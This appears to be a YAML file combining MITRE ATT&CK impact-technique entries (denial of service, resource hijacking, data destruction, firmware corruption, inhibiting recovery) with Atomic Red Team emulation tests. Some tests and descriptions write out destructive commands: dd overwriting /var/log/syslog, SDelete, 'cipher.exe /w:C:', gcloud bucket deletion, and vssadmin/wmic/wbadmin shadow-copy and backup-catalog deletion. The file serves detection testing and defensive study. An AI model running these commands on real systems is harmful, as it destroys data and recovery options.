        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Sensor Health: Host Status'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4
      created: '2019-04-18T11:00:55.862Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1499
        external_id: T1499
      - source_name: Cisco DoSdetectNetflow
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
      - source_name: FSISAC FraudNetDoS September 2012
        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
          Fraud. Retrieved April 18, 2019.
        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
      - source_name: ArsTechnica Great Firewall of China
        description: Goodin, D.. (2015, March 31). Massive denial-of-service attack
          on GitHub tied to Chinese government. Retrieved April 19, 2019.
        url: https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/
      - source_name: FireEye OpPoisonedHandover February 2016
        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
      - source_name: USNYAG IranianBotnet March 2016
        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
          23, 2019.
        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
      - source_name: Symantec DDoS October 2014
        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
          Retrieved April 24, 2019.
        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1496:
    technique:
      modified: '2024-02-14T21:00:00.467Z'
      name: Resource Hijacking
      description: "Adversaries may leverage the resources of co-opted systems to
        complete resource-intensive tasks, which may impact system and/or hosted service
        availability. \n\nOne common purpose for Resource Hijacking is to validate
        transactions of cryptocurrency networks and earn virtual currency. Adversaries
        may consume enough system resources to negatively impact and/or cause affected
        machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood
        Blog 2017) Servers and cloud-based systems are common targets because of the
        high potential for available resources, but user endpoint systems may also
        be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation:
        CloudSploit - Unused AWS Regions) Containerized environments may also be targeted
        due to the ease of deployment via exposed APIs and the potential for scaling
        mining activities by deploying or compromising multiple containers within
        an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation:
        Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining
        malware identify then kill off processes for competing malware to ensure it’s
        not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries
        may also use malware that leverages a system's network bandwidth as part of
        a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498)
        campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively,
        they may engage in proxyjacking by selling use of the victims' network bandwidth
        and IP address to proxyware services.(Citation: Sysdig Proxyjacking)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Jay Chen, Palo Alto Networks
      - Magno Logan, @magnologan, Trend Micro
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: Consider monitoring process resource usage to determine anomalous
        activity associated with malicious hijacking of computer resources such as
        CPU, memory, and graphics processing resources. Monitor for suspicious use
        of network resources associated with cryptocurrency mining software. Monitor
        for common cryptomining software process names and files on local systems
        that may indicate compromise and resource usage.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Sensor Health: Host Status'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783
      created: '2019-04-17T14:50:05.682Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1496
        external_id: T1496
      - source_name: Unit 42 Hildegard Malware
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
      - source_name: CloudSploit - Unused AWS Regions
        description: CloudSploit. (2019, June 8). The Danger of Unused AWS Regions.
          Retrieved October 8, 2019.
        url: https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc
      - source_name: Sysdig Proxyjacking
        description: Crystal Morin. (2023, April 4). Proxyjacking has Entered the
          Chat. Retrieved July 6, 2023.
        url: https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/
      - source_name: Kaspersky Lazarus Under The Hood Blog 2017
        description: GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April
          17, 2019.
        url: https://securelist.com/lazarus-under-the-hood/77908/
      - source_name: Trend Micro Exposed Docker APIs
        description: Oliveira, A. (2019, May 30). Infected Containers Target Docker
          via Exposed APIs. Retrieved April 6, 2021.
        url: https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html
      - source_name: Trend Micro War of Crypto Miners
        description: 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency
          Miners: A Battle for Resources. Retrieved April 6, 2021.'
        url: https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html
      - source_name: GoBotKR
        description: Zuzana Hromcová. (2019, July 8). Malicious campaign targets South
          Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.
        url: https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1496
    atomic_tests:
    - name: FreeBSD/macOS/Linux - Simulate CPU Load with Yes
      auto_generated_guid: 904a5a0e-fb02-490d-9f8d-0e256eb37549
      description: |
        This test simulates a high CPU load as you might observe during cryptojacking attacks.
        End the test by using CTRL/CMD+C to break.
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'yes > /dev/null

          '
        name: sh
  T1565.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6
      created: '2020-03-02T14:27:00.693Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1565.002
        url: https://attack.mitre.org/techniques/T1565/002
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      - source_name: FireEye APT38 Oct 2018
        url: https://content.fireeye.com/apt/rpt-apt38
        description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Transmitted Data Manipulation
      x_mitre_detection: 'Detecting the manipulation of data as at passes over a network
        can be difficult without the appropriate tools. In some cases integrity verification
        checks, such as file hashing, may be used on critical files as they transit
        a network. With some critical processes involving transmission of data, manual
        or out-of-band integrity checking may be useful for identifying manipulated
        data. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_impact_type:
      - Integrity
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1485:
    technique:
      modified: '2023-10-03T17:30:32.192Z'
      name: Data Destruction
      description: |-
        Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

        Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

        In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Varonis Threat Labs
      - Joey Lei
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.

        In cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Snapshot: Snapshot Deletion'
      - 'Process: Process Creation'
      - 'File: File Deletion'
      - 'Image: Image Deletion'
      - 'Instance: Instance Deletion'
      - 'File: File Modification'
      - 'Volume: Volume Deletion'
      - 'Cloud Storage: Cloud Storage Deletion'
      - 'Command: Command Execution'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c
      created: '2019-03-14T18:47:17.701Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1485
        external_id: T1485
      - source_name: DOJ  - Cisco Insider
        description: DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging
          Cisco’s Network. Retrieved December 15, 2020.
        url: https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
      - source_name: Unit 42 Shamoon3 2018
        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
          Organization. Retrieved March 14, 2019.
        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
      - source_name: Palo Alto Shamoon Nov 2016
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
      - source_name: FireEye Shamoon Nov 2016
        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
        url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
      - source_name: Kaspersky StoneDrill 2017
        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
      - source_name: Talos Olympic Destroyer 2018
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
      - source_name: Data Destruction - Threat Post
        description: Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code
          Spaces Out of Business. Retrieved December 15, 2020.
        url: https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
      - source_name: Symantec Shamoon 2012
        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
          14, 2019.
        url: https://www.symantec.com/connect/blogs/shamoon-attacks
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1485
    atomic_tests:
    - name: Windows - Overwrite file with SysInternals SDelete
      auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2
      description: |
        Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in
        the powershell session along with other information about the file that was deleted.
      supported_platforms:
      - windows
      input_arguments:
        sdelete_exe:
          description: Path of sdelete executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\Sdelete\sdelete.exe
        file_to_delete:
          description: Path of file to delete
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1485.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Secure delete tool from SysInternals must exist on disk at specified
          location (#{sdelete_exe})

          '
        prereq_command: 'if (Test-Path "#{sdelete_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sdelete" -Force
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" -Force
      executor:
        command: |
          if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force }
          & "#{sdelete_exe}" -accepteula "#{file_to_delete}"
        name: powershell
    - name: FreeBSD/macOS/Linux - Overwrite file with DD
      auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146
      description: |
        Overwrites and deletes a file using DD.
        To stop the test, break the command with CTRL/CMD+C.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        overwrite_source:
          description: Path of data source to overwrite with
          type: path
          default: "/dev/zero"
        file_to_overwrite:
          description: Path of file to overwrite and remove
          type: path
          default: "/var/log/syslog"
      executor:
        command: 'dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l
          #{file_to_overwrite} | awk ''{print $5}'') iflag=count_bytes

          '
        name: sh
    - name: Overwrite deleted data on C drive
      auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19
      description: "RansomEXX malware removes all deleted files using windows built-in
        cipher.exe to prevent forensic recover.\nThis process is very slow and test
        execution may timeout. \nhttps://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware\nhttps://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4\n"
      supported_platforms:
      - windows
      executor:
        command: 'cipher.exe /w:C:

          '
        name: command_prompt
    - name: GCP - Delete Bucket
      auto_generated_guid: 4ac71389-40f4-448a-b73f-754346b3f928
      description: |
        This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

        Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.
        This atomic will create a bucket then delete the bucket.

        Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project_id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        bucket_name:
          description: The name of the bucket to delete.
          type: string
          default: atomic-red-team-bucket
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project_id}
          gcloud storage buckets delete gs://#{bucket_name}
        cleanup_command: |
          cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
          terraform state rm google_storage_bucket.bucket
          terraform destroy -auto-approve
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

          '
      - description: "Check if user is logged in \n"
        prereq_command: 'gcloud config get-value account

          '
        get_prereq_command: 'gcloud auth login --no-launch-browser

          '
      - description: 'Check if terraform is installed.

          '
        prereq_command: 'terraform version

          '
        get_prereq_command: 'echo Please install the terraform.

          '
      - description: 'Create dependency resources using terraform

          '
        prereq_command: 'stat "$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate"

          '
        get_prereq_command: |-
          cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
          terraform init
          terraform apply -auto-approve
  T1498:
    technique:
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab
      type: attack-pattern
      created: '2019-04-17T20:23:15.105Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1498
        url: https://attack.mitre.org/techniques/T1498
      - source_name: FireEye OpPoisonedHandover February 2016
        url: https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
        description: 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November
          3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in
          Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'
      - source_name: FSISAC FraudNetDoS September 2012
        url: https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf
        description: FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals
          Targeting Financial Institution Employee Credentials to Conduct Wire Transfer
          Fraud. Retrieved April 18, 2019.
      - source_name: Symantec DDoS October 2014
        url: https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf
        description: Wueest, C.. (2014, October 21). The continued rise of DDoS attacks.
          Retrieved April 24, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Network Denial of Service
      description: |-
        Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

        A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

        To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

        Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

        For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: 'Detection of Network DoS can sometimes be achieved before
        the traffic volume is sufficient to cause impact to the availability of the
        service, but such response time typically requires very aggressive monitoring
        and responsiveness or services provided by an upstream network service provider.
        Typical network throughput monitoring tools such as netflow(Citation: Cisco
        DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases
        in network or service utilization. Real-time, automated, and qualitative study
        of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect an Network DoS event as it starts. Often, the lead time
        may be small and the indicator of an event availability of the network or
        service drops. The analysis tools mentioned can then be used to determine
        the type of DoS causing the outage and help with remediation.'
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Sensor Health: Host Status'
      x_mitre_impact_type:
      - Availability
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1495:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89
      created: '2019-04-12T18:28:15.451Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1495
        url: https://attack.mitre.org/techniques/T1495
      - source_name: cisa_malware_orgs_ukraine
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-057a
        description: 'CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive
          Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.'
      - source_name: dhs_threat_to_net_devices
        url: https://cyber.dhs.gov/assets/report/ar-16-20173.pdf
        description: U.S. Department of Homeland Security. (2016, August 30). The
          Increasing Threat to Network Infrastructure Devices and Recommended Mitigations.
          Retrieved July 29, 2022.
      - source_name: MITRE Trustworthy Firmware Measurement
        url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
        description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE
          Firmware Security Research. Retrieved January 5, 2016.
      - source_name: Symantec Chernobyl W95.CIH
        url: https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99
        description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may overwrite or corrupt the flash memory contents
        of system BIOS or other firmware in devices attached to a system in order
        to render them inoperable or unable to boot, thus denying the availability
        to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH)
        Firmware is software that is loaded and executed from non-volatile memory
        on hardware devices in order to initialize and manage device functionality.
        These devices may include the motherboard, hard drive, or video cards.\n\nIn
        general, adversaries may manipulate, overwrite, or corrupt firmware in order
        to deny the use of the system or devices. For example, corruption of firmware
        responsible for loading the operating system for network devices may render
        the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation:
        cisa_malware_orgs_ukraine) Depending on the device, this attack may also result
        in [Data Destruction](https://attack.mitre.org/techniques/T1485). "
      modified: '2022-08-31T17:30:05.440Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Firmware Corruption
      x_mitre_detection: 'System firmware manipulation may be detected.(Citation:
        MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS
        and compare against known patching behavior.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
      x_mitre_impact_type:
      - Availability
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1490:
    technique:
      modified: '2024-04-12T02:30:08.379Z'
      name: Inhibit System Recovery
      description: |-
        Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

        Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

        A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

        * <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
        * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
        * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
